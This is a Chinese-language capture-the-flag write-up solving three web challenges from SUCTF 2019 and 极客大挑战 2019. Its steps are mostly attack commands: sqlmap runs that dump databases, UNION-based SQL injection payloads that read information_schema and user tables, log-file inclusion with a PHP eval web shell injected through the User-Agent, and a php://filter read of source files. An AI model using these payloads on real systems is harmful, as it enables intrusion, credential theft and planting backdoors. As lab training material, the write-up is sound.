[SUCTF 2019]EasySQL1
页面中没有有效的信息
采用post提交数据
使用sql注入 首先抓取请求包
利用*
标记注入点
使用sql map:
python sqlmap.py -r test.txt –dbs 先查找数据库
然而自动化工具注入失败了
尝试后发现是堆叠注入
表明为flag
貌似进行了过滤
小知识:利用select *
,1也可以查看数据库所有项 1会作为新的一列添加到查询结果中
得到flag
[极客大挑战 2019]Secret File1
打开后
点击下方超链接
没有得到有用的信息
抓包测试
发现进行了一次页面重定向 隐藏信息secr3t.php
尝试访问该页面
发现值传递 直接传递参数
GET /secr3t.php?file=flag.php
不能直接看到/secr3t.php?file=/var/log/nginx/access.log 包含日志文件
修改ua为php后门
phpinfo:
<?php eval($_POST['1']); ?>
连接后全是乱码
使用php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
得到编码后的flag
得到flag
[极客大挑战 2019]LoveSQL1
尝试输入admin’or1=’1′
我们一边尝试手工 一边用sqlmap 两者方法都可行:
先看sqlmap:
python sqlmap.py -r test.txt --dbs
跑出五个数据库
python sqlmap.py -r test.txt -D geek –tables跑表
然后直接列出表中元素
python sqlmap.py -r test.txt -D geek -T geekuser –dump
528beb08e09014297d35c4ed6a27758f
这个值是md5哈希后的结构 无法解密 查看另一个表
python sqlmap.py -r test.txt -D geek -T l0ve1ysq1 –dump –thread 9
得到flag
flag{bcff6b28-13b7-4355-bed0-d44a21876fdb}
手动:
username=admin'+order+by+2%23&password=1
测试列数
一共三列 查看回显:
username=1'+union+select+1,2,3%23&password=1
2,3两位置有回显
username=1'+union+select+1,database(),version()%23&password=1
查看数据库以及版本
高版本数据库存在表information_schema
利用该表查找表名
1'+union+select+1,group_concat(TABLE_NAME),3+from+information_schema.TABLES+where+TABLE_SCHEMA=database()%23
group_concat将多个表名逗号分隔连在一起 查找该数据库下所有表
Hello geekuser,l0ve1ysq1!
再通过columns查看列
l0ve1ysq1
1'+union+select+1,group_concat(COLUMN_NAME),3+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME='l0ve1ysq1'%23
%23是#
号
直接检索答案
1'+union+select+1,group_concat(username),group_concat(password)+from+l0ve1ysq1%23
得到flag{bcff6b28-13b7-4355-bed0-d44a21876fdb}